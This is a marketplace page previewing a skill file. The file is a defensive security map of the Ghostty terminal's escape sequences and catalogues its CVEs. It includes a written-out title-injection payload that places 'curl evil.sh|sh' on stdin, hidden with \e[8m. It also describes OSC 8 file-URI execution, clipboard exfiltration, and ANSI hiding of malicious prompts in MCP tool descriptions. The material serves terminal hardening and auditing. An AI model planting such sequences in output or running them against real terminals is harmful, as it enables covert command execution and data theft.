Skip to main content

modding-ghostty

Defensive security map of Ghostty terminal escape sequences. VT/OSC attack surface, stdin injection vectors, parser DFA analysis, CVE catalog. Triggers: ghostty security, escape sequence, terminal hardening, VT parser, OSC.

来源信息

仓库
plurigrid/asi
最近来源活动
2026年6月10日 11:55
检测到的 SKILL.md 语言
英语
星标
67
分支
12

安装方式

默认使用会先检查来源的 Prompt;你也可以切换为直接命令,或下载本地副本。

检查来源文件

决定是否安装前,请先阅读 SKILL.md,以及 SkillsMP 当前展示的配套文件。

文件资源管理器
2 个文件

正在显示 SKILL.md

SKILL.md
来源说明 · 只读预览
name
modding-ghostty
description
Defensive security map of Ghostty terminal escape sequences. VT/OSC attack surface, stdin injection vectors, parser DFA analysis, CVE catalog. Triggers: ghostty security, escape sequence, terminal hardening, VT parser, OSC.
# Modding Ghostty Defensive security map of Ghostty's VT/OSC escape sequence surface. Covers what each sequence visibly modifies on screen, invisible state mutations, stdin injection vectors, and parser DFA traversability toward undesired states. ## Trigger Conditions - Analyzing terminal escape sequence security - Auditing libghostty or apps built on it (cmux, etc.) - Fuzzing VT parsers / OSC handlers - Understanding what escape sequences change on the user's screen - Building terminal-aware security tools ## Architecture: libghostty VT Parser ``` Raw Bytes -> UTF8Decoder -> Parser (DFA) -> Stream -> Actions | State Machine (14 states, compile-time table) ``` Key files in ghostty-org/ghostty: ``` src/terminal/Parser.zig # State machine (14 states) src/terminal/stream.zig # Stream wrapper + SIMD src/terminal/osc.zig # OSC parser (2048-byte fixed buffer) src/terminal/dcs.zig # DCS handler (1MB limit) src/terminal/parse_table.zig # Compile-time transition table src/simd/vt.zig # SIMD acceleration ``` ## Visual Effects Map: What Each OSC Changes On Screen ``` +---------------------------------------------------------------------+ | * * * Terminal Window Title (OSC 0, 1, 2) - [] X | +---------------------------------------------------------------------+ | | | Tab Bar: [ ~/projects v ] [ SSH: server ] [ vim ] | | ^^^^^^^^^^^^^^^^ | | OSC 7 sets this OSC 2 sets tab title | | (working directory) | | | +--- Terminal Content Area -------------------------------------------| | | | $ cat README.md | | | | This is normal text <-- ground state: just prints codepoints | | | | ==================== <-- OSC 4/10/11 change THESE colors: | | = foreground on ba = <-- 10 = text color | | = ckground colors = <-- 11 = background } you see the | | ==================== <-- 12 = cursor color } palette shift | | 4 = palette[0-255] instantly | | | | Click here for docs <-- OSC 8 hyperlink: UNDERLINED text, | | ~~~~~~~~~~~~~~~~~~ cursor becomes pointer on hover | | (OSC 22 changes pointer shape too) | | | | $ echo "copied!" | | +------------------+ | | | CLIPBOARD | <-- OSC 52 write: you see NOTHING on | | | (invisible) | screen. It silently changes what | | | "malicious addr" | Cmd+V pastes next. No visual cue. | | +------------------+ | | | | $ pwd | | /Users/alice/projects <-- OSC 7: NOTHING changes in content area. | | But tab/title bar updates, and | | "New Tab" will open HERE | | | | $ _ <-- OSC 12 changed cursor to this color | | ^cursor | | | +--- What's INVISIBLE (the dangerous part) ---------------------------| | | | OSC 52 READ --> ? sent to terminal | | terminal writes clipboard contents | | BACK INTO STDIN (as if you typed it) | | +------------------------------------+ | | | $ rgb:ff/ff/ff | < color | | | $ secret-api-key-from-clipboard | < clipboard| | | $ My Private Window Title | < title | | +------------------------------------+ | | YOU SEE THESE APPEAR AS IF YOU TYPED THEM | | (the "response injection" class of attacks) | | | | CSI 21t --> Reports title back as keystrokes | | DECRQSS --> Reports settings back as keystrokes | | OSC 10-12? --> Reports colors back as keystrokes | | | +---------------------------------------------------------------------+ ``` ## Visibility Matrix ``` VISIBLE INVISIBLE INVISIBLE ON SCREEN BUT MODIFIES STDIN INJECTION (you notice) STATE (most dangerous) --------------- -------------- ---------------- OSC 0 (icon+title) title bar Y OSC 1 (icon) (unimplemented) OSC 2 (title) title bar Y OSC 4 (palette) colors shift Y OSC 7 (cwd) tab label, new-tab path OSC 8 (hyperlink) underline Y, hover cursor Y OSC 9 (notification) system notif Y OSC 10 (fg color) text recolors Y OSC 11 (bg color) bg recolors Y OSC 12 (cursor color) cursor recolors Y OSC 22 (pointer) mouse cursor Y OSC 52 (clipboard) clipboard read -> stdin contents OSC 4? (query) rgb:xx/xx -> stdin OSC 10-12? (query) rgb:xx/xx -> stdin CSI 21t (title report) title -> stdin DECRQSS (DCS query) settings -> stdin ``` ## OSC Sequences Ranked by Traversability to Undesired States ### Tier 1: Surprisingly Traversable (High developer-surprise factor) | # | Sequence | Undesired State | Why Surprising | |---|----------|----------------|----------------| | 1 | **OSC 8** (Hyperlinks) | Arbitrary code execution on click | No URI scheme validation. `file:///path/to/binary` passed directly to `NSWorkspace.open()` / `xdg-open`. Missing scheme = file path on macOS. CVE-2024-38396 (iTerm2), CVE-2025-43929 (kitty). | | 2 | **OSC 52** (Clipboard read) | Silent clipboard exfiltration | Default `ask` but "Remember" button permanently downgrades to `allow`. No rate limiting. Once allowed, any program polls clipboard forever. | | 3 | **OSC 2 + CSI 21t** (Title set + report) | Command injection into shell | CVE-2003-0063 (xterm 2003), CVE-2024-56803 (Ghostty 1.0.0 release day). Parser correct; policy of echoing title to PTY stdin is the flaw. | ### Tier 2: Parser-Level State Machine Risks | # | Sequence | Undesired State | Mechanism | |---|----------|----------------|-----------| | 4 | Unterminated OSC (any) | Parser stuck in `osc_string` | Fixed 2048-byte buffer catches most, but OSC 52/66 with allocator has no hard memory limit. | | 5 | C1 control codes (0x80-0x9F) | Incorrect state transition | `0x9D`=OSC, `0x9B`=CSI, `0x90`=DCS as single bytes. Bypasses naive filters. UTF-8 mode must not treat these as C1. | | 6 | Truncated OSC (e.g. `\033]1`) | Integer overflow crash | Issue #8007: `osc.Parser.reset()` called `ArrayList.deinit` without valid allocator. Fixed in 1.2.0. | | 7 | SOS/PM/APC passthrough | Untested state paths | Share DFA structure with DCS/OSC but rarely exercised. Least-tested code. | ### Tier 3: Handler-Layer Policy Risks | # | Sequence | Undesired State | Mechanism | |---|----------|----------------|-----------| | 8 | OSC 7 (Working directory) | Path spoofing | `"localhost"` always passes `isLocal()`. Any program sets reported CWD. New tab opens in spoofed directory. | | 9 | OSC 52 (Clipboard write) | Clipboard hijacking | Default `allow`. Any program silently overwrites clipboard. Crypto address replacement. | | 10 | OSC 4/10-19 (Color query) | Information leakage | Responses reveal terminal theme. Feeds fingerprinting. | | 11 | DCS DECRQSS | Response injection | CVE-2008-2383 (xterm), CVE-2022-45872 (iTerm2 CVSS 9.8). | ### Tier 4: Delivery-Layer Amplifiers | # | Vector | Effect | |---|--------|--------| | 12 | Log file escape injection | `cat access.log` triggers any of the above. CVE-2009-4487. | | 13 | npm/pip output injection | Package metadata with escape sequences. | | 14 | MCP tool description injection | ANSI in tool descriptions hides malicious prompts (Trail of Bits 2025). | ## Parser DFA Safety Properties ### What's Well-Designed - **`.invalid` is a proper sink state**: Once buffer overflows, all bytes discarded until reset. `end()` returns `null`. - **No re-entrancy**: One byte at a time via `Parser.next()`. No callbacks or recursive parsing. - **State isolation**: ESC inside `dcs_passthrough` or `osc_string` is treated as data, NOT an escape initiator (except via "anywhere" transitions for ESC -> `escape` state from `osc_string`). - **Reset on entry**: `osc_parser.reset()` called on every transition into `osc_string`. No stale state leaks. - **CAN/SUB abort**: `0x18` (CAN) or `0x1A` (SUB) abort any sequence from any state -> `ground`. ### What's Risky - **OSC 52/66 allocating writer**: No hard memory limit when allocator provided. Multi-GB base64 payload could exhaust memory. - **OSC 8 URI handling**: No scheme allowlist. Arbitrary URIs passed to system opener. `file://`, `ssh://`, `tel:`, custom schemes all honored. - **"Remember" button on clipboard ask dialog**: Single click permanently downgrades `ask` -> `allow` for session. - **No rate limiting on any response-generating sequence**: OSC 52 read, color queries, title report (when enabled) can be spammed. ## The Classic Attack Pattern ``` WHAT YOU SEE WHAT ACTUALLY HAPPENS --------------- ----------------------- $ cat file.txt file.txt contains: Hello world Hello world Segmentation fault \e]2;curl evil.sh|sh\a <- set title (core dumped) \e[21t <- report title $ \e[8m <- HIDE TEXT ^^^ now "curl evil.sh|sh" appears on your stdin as if you typed it You see "Segfault" and The injected command is press Enter thinking invisible (\e[8m = hidden) it's waiting for input -> SHELL EXECUTES: curl evil.sh|sh ``` ## Ghostty-Specific CVEs | CVE | Version | Severity | Description | Fix | |-----|---------|----------|-------------|-----| | CVE-2024-56803 | < 1.0.1 | Medium (5.1) | Title reporting (CSI 21t) enabled by default. Classic title injection RCE. | Disabled title reporting by default. | | GHSA-q9fg-cpmh-c78x | < 1.2.0 | Medium | Privilege escalation when launched by other apps (inherits Full Disk Access). | App-level permission scoping. | | Issue #8007 | < 1.2.0 | Medium | Truncated OSC causes integer overflow in `osc.Parser.reset()` via `ArrayList.deinit` without valid allocator. | Conditional deinit when alloc non-null. | ## Configuration Hardening ```ini # ghostty config (~/.config/ghostty/config)
在 GitHub 查看
这个 SKILL.md 很大,SkillsMP 这里只预览前一段内容。 在 GitHub 查看